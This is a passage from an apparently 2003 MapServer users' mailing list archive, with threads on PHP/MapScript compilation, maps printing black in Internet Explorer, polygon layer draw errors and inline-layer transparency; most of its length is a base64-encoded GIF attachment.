_zend_register_long_constant > _zend_wrong_param_count > make[1]: *** [php_mapscript.so] Error 1 > > --- Daniel Morissette wrote: > > "pkishor_98 " wrote: > > > > > > I am getting a bunch of errors compiling ms3.6.4 (all related to > > > php_mapscript.so), and before I get any further, I would like to > find > > > out if the current PHP/Mapscript module work with PHP 4.3.0. Does > it? > > > > > > > Yes it does work with PHP 4.3.0. I haven't used it myself yet, but > > Assefa has built it with PHP 4.3.0 and I haven't heard of anything > > special. This windows DLL for PHP 4.3.0 is on our download site. > > From ed at topozone.com Mon Jan 20 17:15:27 2003 From: ed at topozone.com (Ed McNierney) Date: Mon, 20 Jan 2003 20:15:27 -0500 Subject: [Mapserver-users] Map prints as all black Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3B6D@mercator.topozone.com> Jeff - If the image you're printing is an 8-bit PNG image, and you're using Internet Explorer 5.01 or earlier on that machine, it's an IE bug. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 (978) 251-4242 ed at topozone.com -----Original Message----- From: Jeff Berry [mailto:jeffb at erlandsen.com] Sent: Monday, January 20, 2003 7:26 PM To: MapServer Subject: [Mapserver-users] Map prints as all black I'm having trouble trying to print output from mapserver. I can successfully print from 5 different computers in our office using Explorer, but a sixth computer prints the map out as all black. What should I be looking for to fix this? Jeff Berry Erlandsen & Associates P.O. Box 2029 Chelan, WA 98816 (509) 682-4189 jeffb at erlandsen.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From keon at nacse.org Mon Jan 20 17:19:58 2003 From: keon at nacse.org (Dylan Keon) Date: Mon, 20 Jan 2003 17:19:58 -0800 Subject: [Mapserver-users] Odd Error In-Reply-To: References: Message-ID: <3E2CA03E.2010606@nacse.org> Jeff Berry wrote: > I have a lakes polygon layer that draws just fine at large scales. However, > if I zoom out to the entire extent of the dataset I get the following error: > > Warning: MapServer Error in msDrawShape(): Only polygon shapes can be drawn > using a POLYGON layer definition. > > This happens with a couple other polygon layers as well, when I zoom out to > a point where a lot of polygon features are displayed in the current extent. > > What is causing this? Could those layers contain unclosed polygons? This is just a wild guess since I don't know how MapServer handles that type of situation, but perhaps the large scale views were successful because you happened to be displaying small regions where all polygons were closed. Then, when zoomed to full extent, MapServer throws the error when trying to render the unclosed polygons (?) If you have ArcInfo at your disposal you could try converting your shapefiles to coverages, running CLEAN to build polygon topology, and converting back to shapefiles. --Dylan -- ************************************************ Dylan Keon GIS/Database Research Specialist Northwest Alliance for Computational Science and Engineering (NACSE) Oregon State University Corvallis, OR 97331 keon at nacse.org (541) 737-6608 ************************************************ From ycnyon at pd.jaring.my Tue Jan 21 08:31:41 2003 From: ycnyon at pd.jaring.my (YC Nyon) Date: Wed, 22 Jan 2003 00:31:41 +0800 Subject: [Mapserver-users] Transparency not working for inline layers Message-ID: <009201c2c16e$7aec1210$5340baca@gis> This is a multi-part message in MIME format. ------=_NextPart_000_006B_01C2C1AD.A202F140 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit I want to draw a circle as a buffer for some spatial queries. Done that. However, I need it displayed as transparent, so the rest of the features (ie. buildings) 'comes' through. Transparency is supported by my PHP-MS version (tested successfully). Moving the 'circle' layer up and down the mapfile didn't work. Can anyone confirm whether transparency is supported by inline layers. Attached is the image. TIA Nyon --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.443 / Virus Database: 248 - Release Date: 11/01/2003 ------=_NextPart_000_006B_01C2C1AD.A202F140 Content-Type: image/gif; name="104316598722521.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="104316598722521.gif" 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 